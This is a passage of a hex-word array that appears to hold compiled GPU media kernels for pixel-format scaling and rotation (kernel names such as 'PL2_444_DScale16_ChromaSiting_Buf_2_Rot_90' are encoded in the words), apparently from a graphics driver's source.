0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000038,
0x00000006, 0x00000001, 0x00000090, 0x00000148, 0x00000007, 0x00000001, 0x000001d8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f325f66, 0x5f746f52, 0x00003039, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090,
0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250,
0x3fff0000, 0x00000340, 0xbfff0030, 0x00000340, 0xbfff0031, 0x00000350, 0xbfff0038, 0x00000350,
0xbfff0039, 0x000005b0, 0xbfff002c, 0x00000600, 0xbfff0034, 0x000006a0, 0xbfff002a, 0x000006d0,
0xbfff0032, 0x00000700, 0xbfff002e, 0x00000750, 0xbfff0036, 0x00000860, 0x3fff0003, 0x00000870,
0x3fff0078, 0x00000880, 0x3fff0077, 0x00000880, 0x3fff0004, 0x000009c0, 0x3fff0002, 0x00000a00,
0xbfff002d, 0x00000a20, 0x0009006d, 0x00000a20, 0x0009006e, 0x00000a20, 0x0009006f, 0x00000a20,
0x00090070, 0x00000a20, 0x00090071, 0x00000a40, 0xbfff0035, 0x00000a60, 0x3fff0074, 0x00000a80,
0xbfff002b, 0x00000a90, 0x3fff0075, 0x00000ab0, 0xbfff0033, 0x00000ac0, 0x3fff0072, 0x00000ae0,
0xbfff002f, 0x00000af0, 0x3fff0076, 0x00000af0, 0x3fff0073, 0x00000b10, 0x3fff006c, 0x00000b10,
0xbfff0037, 0x00000b30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000002b,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000128,
0x00000007, 0x00000001, 0x000001a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001dc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x00335f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0,
0x3fff0001, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000250, 0x3fff0000, 0x00000340,
0xbfff0040, 0x00000340, 0xbfff0041, 0x00000350, 0xbfff0048, 0x00000350, 0xbfff0049, 0x000005b0,
0xbfff003c, 0x000005e0, 0xbfff0044, 0x00000630, 0x3fff007c, 0x00000660, 0xbfff003a, 0x000006d0,
0xbfff003e, 0x00000760, 0xbfff0046, 0x00000770, 0xbfff0042, 0x00000820, 0x3fff0003, 0x00000880,
0x3fff0004, 0x00000900, 0x3fff0074, 0x00000960, 0x3fff0002, 0x000009d0, 0x3fff0073, 0x000009e0,
0x3fff0072, 0x000009e0, 0xbfff003d, 0x000009f0, 0x3fff0075, 0x000009f0, 0xbfff0045, 0x00000a00,
0x3fff0078, 0x00000a10, 0x3fff0079, 0x00000a20, 0x3fff0076, 0x00000a30, 0x3fff007d, 0x00000a30,
0x3fff0077, 0x00000a40, 0x3fff007a, 0x00000a50, 0x3fff006c, 0x00000a60, 0x3fff006e, 0x00000a70,
0x3fff0070, 0x00000a80, 0x3fff007b, 0x00000a80, 0xbfff003b, 0x00000a90, 0x3fff006d, 0x00000a90,
0xbfff0043, 0x00000aa0, 0x3fff006f, 0x00000aa0, 0xbfff003f, 0x00000ab0, 0x3fff0071, 0x00000ab0,
0xbfff0047, 0x00000ad0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024,
0x00000005, 0x00000001, 0x00000050, 0x00000038, 0x00000006, 0x00000001, 0x00000088, 0x00000150,
0x00000007, 0x00000001, 0x000001d8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f335f66, 0x5f746f52, 0x00303831, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030,
0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0,
0x3fff0000, 0x00000260, 0x3fff0006, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0040, 0x000002c0,
0xbfff0041, 0x00000370, 0xbfff0048, 0x00000370, 0xbfff0049, 0x000005d0, 0xbfff003c, 0x00000620,
0xbfff0044, 0x000006b0, 0xbfff003a, 0x000006e0, 0xbfff0042, 0x00000710, 0xbfff003e, 0x00000760,
0xbfff0046, 0x00000830, 0x3fff0078, 0x00000850, 0x3fff0077, 0x00000850, 0x3fff0003, 0x000008a0,
0x3fff0004, 0x000009e0, 0x3fff0002, 0x00000a20, 0xbfff003d, 0x00000a40, 0x0009006d, 0x00000a40,
0x0009006e, 0x00000a40, 0x0009006f, 0x00000a40, 0x00090070, 0x00000a40, 0x00090071, 0x00000a60,
0xbfff0045, 0x00000a80, 0x3fff0074, 0x00000aa0, 0xbfff003b, 0x00000ab0, 0x3fff0075, 0x00000ad0,
0xbfff0043, 0x00000ae0, 0x3fff0072, 0x00000b00, 0xbfff003f, 0x00000b10, 0x3fff0076, 0x00000b10,
0x3fff0073, 0x00000b30, 0x3fff006c, 0x00000b30, 0xbfff0047, 0x00000b50, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001dc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f335f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040,
0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000240,
0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000, 0x00000360, 0xbfff0040, 0x00000360,
0xbfff0041, 0x00000370, 0xbfff0048, 0x00000370, 0xbfff0049, 0x000005d0, 0xbfff003c, 0x00000600,
0xbfff0044, 0x00000680, 0xbfff003a, 0x00000700, 0xbfff003e, 0x00000720, 0xbfff0046, 0x00000790,
0xbfff0042, 0x00000850, 0x3fff0004, 0x000008f0, 0x3fff0003, 0x00000920, 0x3fff0073, 0x00000970,
0x3fff0002, 0x000009a0, 0x3fff007b, 0x00000a00, 0x3fff0072, 0x00000a10, 0xbfff003d, 0x00000a20,
0x3fff0074, 0x00000a20, 0xbfff0045, 0x00000a30, 0x3fff0077, 0x00000a40, 0x3fff0078, 0x00000a50,
0x3fff0075, 0x00000a60, 0x3fff007c, 0x00000a60, 0x3fff0076, 0x00000a70, 0x3fff0079, 0x00000a80,
0x3fff006c, 0x00000a90, 0x3fff006e, 0x00000aa0, 0x3fff0070, 0x00000ab0, 0x3fff007a, 0x00000ab0,
0xbfff003b, 0x00000ac0, 0x3fff006d, 0x00000ac0, 0xbfff0043, 0x00000ad0, 0x3fff006f, 0x00000ad0,
0xbfff003f, 0x00000ae0, 0x3fff0071, 0x00000ae0, 0xbfff0047, 0x00000b00, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000038,
0x00000006, 0x00000001, 0x00000090, 0x00000148, 0x00000007, 0x00000001, 0x000001d8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f335f66, 0x5f746f52, 0x00003039, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000080, 0xbfff006b, 0x00000090,
0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250,
0x3fff0000, 0x00000340, 0xbfff0040, 0x00000340, 0xbfff0041, 0x00000350, 0xbfff0048, 0x00000350,
0xbfff0049, 0x000005b0, 0xbfff003c, 0x00000600, 0xbfff0044, 0x000006a0, 0xbfff003a, 0x000006d0,
0xbfff0042, 0x00000700, 0xbfff003e, 0x00000750, 0xbfff0046, 0x00000860, 0x3fff0003, 0x00000870,
0x3fff0078, 0x00000880, 0x3fff0077, 0x00000880, 0x3fff0004, 0x000009c0, 0x3fff0002, 0x00000a00,
0xbfff003d, 0x00000a20, 0x0009006d, 0x00000a20, 0x0009006e, 0x00000a20, 0x0009006f, 0x00000a20,
0x00090070, 0x00000a20, 0x00090071, 0x00000a40, 0xbfff0045, 0x00000a60, 0x3fff0074, 0x00000a80,
0xbfff003b, 0x00000a90, 0x3fff0075, 0x00000ab0, 0xbfff0043, 0x00000ac0, 0x3fff0072, 0x00000ae0,
0xbfff003f, 0x00000af0, 0x3fff0076, 0x00000af0, 0x3fff0073, 0x00000b10, 0x3fff006c, 0x00000b10,
0xbfff0047, 0x00000b30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000002b,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000128,
0x00000007, 0x00000001, 0x000001a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ec, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x00345f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0078, 0x00000060, 0xbfff006e, 0x00000080,
0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x000002c0, 0x3fff0003, 0x000002d0,
0x3fff0006, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000440,
0xbfff0050, 0x00000440, 0xbfff0051, 0x000004c0, 0xbfff0058, 0x000004c0, 0xbfff0059, 0x00000710,
0xbfff004c, 0x00000740, 0xbfff0054, 0x000007c0, 0xbfff004a, 0x00000840, 0xbfff004e, 0x00000860,
0xbfff0056, 0x000008d0, 0xbfff0052, 0x00000ab0, 0x3fff0002, 0x00000af0, 0x00090079, 0x00000af0,
0x0009007a, 0x00000af0, 0x0009007b, 0x00000af0, 0x0009007c, 0x00000af0, 0x0009007d, 0x00000b00,
0x3fff0077, 0x00000b50, 0xbfff0055, 0x00000b60, 0xbfff004d, 0x00000b70, 0x3fff006e, 0x00000b80,
0x3fff006f, 0x00000ba0, 0x3fff0078, 0x00000ba0, 0x3fff006d, 0x00000bb0, 0x3fff0070, 0x00000bc0,
0x3fff0072, 0x00000bd0, 0x3fff0074, 0x00000be0, 0x3fff0076, 0x00000bf0, 0x3fff0071, 0x00000bf0,
0xbfff004b, 0x00000c00, 0x3fff0073, 0x00000c00, 0xbfff0053, 0x00000c10, 0x3fff0075, 0x00000c10,
0xbfff004f, 0x00000c20, 0x3fff006c, 0x00000c20, 0xbfff0057, 0x00000c40, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x00000024, 0x00000005, 0x00000001, 0x00000050, 0x00000048,
0x00000006, 0x00000001, 0x00000098, 0x00000150, 0x00000007, 0x00000001, 0x000001e8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001f4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f345f66, 0x5f746f52, 0x00303831, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006a, 0x00000040,
0x3fff006b, 0x00000040, 0xbfff0078, 0x00000060, 0xbfff006e, 0x00000080, 0xbfff006f, 0x000000e0,
0x0000ffff, 0x00000100, 0x3fff0001, 0x000002b0, 0x3fff0003, 0x000002c0, 0x3fff0006, 0x00000300,
0x3fff0004, 0x00000310, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000440, 0xbfff0050, 0x00000440,
0xbfff0051, 0x000004c0, 0xbfff0058, 0x000004c0, 0xbfff0059, 0x00000710, 0xbfff004c, 0x00000740,
0xbfff0054, 0x000007c0, 0xbfff004a, 0x00000840, 0xbfff004e, 0x00000860, 0xbfff0056, 0x000008d0,
0xbfff0052, 0x00000ab0, 0x3fff0002, 0x00000af0, 0x00090079, 0x00000af0, 0x0009007a, 0x00000af0,
0x0009007b, 0x00000af0, 0x0009007c, 0x00000af0, 0x0009007d, 0x00000b00, 0x3fff0077, 0x00000b50,
0xbfff0055, 0x00000b60, 0xbfff004d, 0x00000b70, 0x3fff0070, 0x00000b80, 0x3fff0071, 0x00000ba0,
0x3fff0078, 0x00000ba0, 0x3fff006f, 0x00000bb0, 0x3fff0072, 0x00000bc0, 0x3fff0074, 0x00000bd0,
0x3fff0076, 0x00000be0, 0x3fff006d, 0x00000bf0, 0x3fff0073, 0x00000bf0, 0xbfff004b, 0x00000c00,
0x3fff0075, 0x00000c00, 0xbfff0053, 0x00000c10, 0x3fff006c, 0x00000c10, 0xbfff004f, 0x00000c20,
0x3fff006e, 0x00000c20, 0xbfff0057, 0x00000c40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000048, 0x00000006, 0x00000001,
0x000000a0, 0x00000150, 0x00000007, 0x00000001, 0x000001f0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f345f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0,
0x0000ffff, 0x00000100, 0x3fff0001, 0x00000290, 0x3fff0003, 0x000002a0, 0x3fff0006, 0x00000310,
0x3fff0004, 0x00000320, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x000004d0, 0xbfff0050, 0x000004d0,
0xbfff0051, 0x000004e0, 0xbfff0058, 0x000004e0, 0xbfff0059, 0x00000730, 0xbfff004c, 0x00000780,
0xbfff0054, 0x00000820, 0xbfff004a, 0x00000850, 0xbfff0052, 0x00000880, 0xbfff004e, 0x000008d0,
0xbfff0056, 0x000009f0, 0x3fff0078, 0x00000a00, 0x3fff0077, 0x00000b40, 0x3fff0002, 0x00000b80,
0xbfff004d, 0x00000ba0, 0x0009006d, 0x00000ba0, 0x0009006e, 0x00000ba0, 0x0009006f, 0x00000ba0,
0x00090070, 0x00000ba0, 0x00090071, 0x00000bc0, 0xbfff0055, 0x00000be0, 0x3fff0074, 0x00000c00,
0xbfff004b, 0x00000c10, 0x3fff0075, 0x00000c30, 0xbfff0053, 0x00000c40, 0x3fff0072, 0x00000c60,
0xbfff004f, 0x00000c70, 0x3fff0076, 0x00000c70, 0x3fff0073, 0x00000c90, 0x3fff006c, 0x00000c90,
0xbfff0057, 0x00000cb0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000002c,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000128,
0x00000007, 0x00000001, 0x000001a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f345f66, 0x5f746f52, 0x00003039, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030,
0x3fff006a, 0x00000050, 0x3fff006b, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000250,
0x3fff0003, 0x00000260, 0x3fff0006, 0x000002f0, 0x3fff0004, 0x00000300, 0x3fff0005, 0x000003c0,
0x3fff0000, 0x000004b0, 0xbfff0050, 0x000004b0, 0xbfff0051, 0x000004c0, 0xbfff0058, 0x000004c0,
0xbfff0059, 0x00000710, 0xbfff004c, 0x00000760, 0xbfff0054, 0x00000800, 0xbfff004a, 0x00000830,
0xbfff0052, 0x00000860, 0xbfff004e, 0x000008b0, 0xbfff0056, 0x000009d0, 0x3fff0078, 0x000009e0,
0x3fff0077, 0x00000b20, 0x3fff0002, 0x00000b60, 0xbfff004d, 0x00000b80, 0x0009006d, 0x00000b80,
0x0009006e, 0x00000b80, 0x0009006f, 0x00000b80, 0x00090070, 0x00000b80, 0x00090071, 0x00000ba0,
0xbfff0055, 0x00000bc0, 0x3fff0074, 0x00000be0, 0xbfff004b, 0x00000bf0, 0x3fff0075, 0x00000c10,
0xbfff0053, 0x00000c20, 0x3fff0072, 0x00000c40, 0xbfff004f, 0x00000c50, 0x3fff0076, 0x00000c50,
0x3fff0073, 0x00000c70, 0x3fff006c, 0x00000c70, 0xbfff0057, 0x00000c90, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002b, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001a4, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x00355f66, 0x00000000, 0x00000000, 0x00000000,
0x8000006c, 0x00000040, 0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110,
0x3fff0001, 0x000002d0, 0x3fff0003, 0x000002e0, 0x3fff0006, 0x00000310, 0x3fff0004, 0x00000320,
0x3fff0005, 0x000003e0, 0x3fff0000, 0x000004d0, 0xbfff0060, 0x000004d0, 0xbfff0061, 0x000004e0,
0xbfff0068, 0x000004e0, 0xbfff0069, 0x00000740, 0xbfff005c, 0x00000790, 0xbfff0064, 0x00000820,
0xbfff005a, 0x00000850, 0xbfff0062, 0x00000880, 0xbfff005e, 0x000008d0, 0xbfff0066, 0x000009a0,
0x3fff0078, 0x000009c0, 0x3fff0077, 0x00000b50, 0x3fff0002, 0x00000b90, 0xbfff005d, 0x00000bb0,
0x0009006d, 0x00000bb0, 0x0009006e, 0x00000bb0, 0x0009006f, 0x00000bb0, 0x00090070, 0x00000bb0,
0x00090071, 0x00000bd0, 0xbfff0065, 0x00000bf0, 0x3fff0074, 0x00000c10, 0xbfff005b, 0x00000c20,
0x3fff0075, 0x00000c40, 0xbfff0063, 0x00000c50, 0x3fff0072, 0x00000c70, 0xbfff005f, 0x00000c80,
0x3fff0076, 0x00000c80, 0x3fff0073, 0x00000ca0, 0x3fff006c, 0x00000ca0, 0xbfff0067, 0x00000cc0,
0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024, 0x00000005, 0x00000001,
0x00000050, 0x00000028, 0x00000006, 0x00000001, 0x00000078, 0x00000128, 0x00000007, 0x00000001,
0x000001a0, 0x00000002, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f355f66, 0x5f746f52, 0x00303831, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000040,
0x3fff006b, 0x00000050, 0x3fff006a, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002c0,
0x3fff0003, 0x000002d0, 0x3fff0006, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x000003e0,
0x3fff0000, 0x000004d0, 0xbfff0060, 0x000004d0, 0xbfff0061, 0x000004e0, 0xbfff0068, 0x000004e0,
0xbfff0069, 0x00000740, 0xbfff005c, 0x00000790, 0xbfff0064, 0x00000820, 0xbfff005a, 0x00000850,
0xbfff0062, 0x00000880, 0xbfff005e, 0x000008d0, 0xbfff0066, 0x000009a0, 0x3fff0078, 0x000009c0,
0x3fff0077, 0x00000b50, 0x3fff0002, 0x00000b90, 0xbfff005d, 0x00000bb0, 0x0009006d, 0x00000bb0,
0x0009006e, 0x00000bb0, 0x0009006f, 0x00000bb0, 0x00090070, 0x00000bb0, 0x00090071, 0x00000bd0,
0xbfff0065, 0x00000bf0, 0x3fff0074, 0x00000c10, 0xbfff005b, 0x00000c20, 0x3fff0075, 0x00000c40,
0xbfff0063, 0x00000c50, 0x3fff0072, 0x00000c70, 0xbfff005f, 0x00000c80, 0x3fff0076, 0x00000c80,
0x3fff0073, 0x00000ca0, 0x3fff006c, 0x00000ca0, 0xbfff0067, 0x00000cc0, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001fc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f355f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030,
0xbfff0077, 0x00000040, 0x3fff006a, 0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090,
0xbfff006f, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x000002a0, 0x3fff0003, 0x000002b0,
0x3fff0006, 0x00000320, 0x3fff0004, 0x00000330, 0x3fff0005, 0x00000400, 0x3fff0000, 0x00000460,
0xbfff0060, 0x00000460, 0xbfff0061, 0x000004e0, 0xbfff0068, 0x000004e0, 0xbfff0069, 0x00000500,
0x3fff0076, 0x00000740, 0xbfff005c, 0x00000750, 0xbfff0064, 0x00000810, 0xbfff005a, 0x00000840,
0xbfff0062, 0x00000880, 0xbfff005e, 0x000008b0, 0xbfff0066, 0x00000a10, 0x3fff0077, 0x00000ae0,
0x3fff0002, 0x00000b30, 0x00090079, 0x00000b30, 0x0009007a, 0x00000b30, 0x0009007b, 0x00000b30,
0x0009007c, 0x00000b30, 0x0009007d, 0x00000b70, 0xbfff005d, 0x00000b80, 0xbfff0065, 0x00000b90,
0x3fff006e, 0x00000ba0, 0x3fff006f, 0x00000bc0, 0x3fff0078, 0x00000bd0, 0x3fff0070, 0x00000be0,
0x3fff0072, 0x00000bf0, 0x3fff0074, 0x00000c00, 0x3fff006c, 0x00000c10, 0x3fff0071, 0x00000c10,
0xbfff005b, 0x00000c20, 0x3fff0073, 0x00000c20, 0xbfff0063, 0x00000c30, 0x3fff0075, 0x00000c30,
0xbfff005f, 0x00000c40, 0x3fff006d, 0x00000c40, 0xbfff0067, 0x00000c60, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000050,
0x00000006, 0x00000001, 0x000000a8, 0x00000150, 0x00000007, 0x00000001, 0x000001f8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001fc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f355f66, 0x5f746f52, 0x00003039, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030,
0xbfff0077, 0x00000040, 0x3fff006a, 0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090,
0xbfff006f, 0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000260, 0x3fff0003, 0x00000270,
0x3fff0006, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000440,
0xbfff0060, 0x00000440, 0xbfff0061, 0x000004c0, 0xbfff0068, 0x000004c0, 0xbfff0069, 0x00000720,
0xbfff005c, 0x00000730, 0xbfff0064, 0x000007f0, 0xbfff005a, 0x00000820, 0xbfff0062, 0x00000860,
0xbfff005e, 0x00000890, 0xbfff0066, 0x000009f0, 0x3fff0077, 0x00000ad0, 0x3fff0002, 0x00000af0,
0x00090079, 0x00000af0, 0x0009007a, 0x00000af0, 0x0009007b, 0x00000af0, 0x0009007c, 0x00000af0,
0x0009007d, 0x00000b50, 0xbfff005d, 0x00000b60, 0x3fff0076, 0x00000b60, 0xbfff0065, 0x00000b70,
0x3fff006e, 0x00000b80, 0x3fff006f, 0x00000ba0, 0x3fff0078, 0x00000bb0, 0x3fff0070, 0x00000bc0,
0x3fff0072, 0x00000bd0, 0x3fff0074, 0x00000be0, 0x3fff006c, 0x00000bf0, 0x3fff0071, 0x00000bf0,
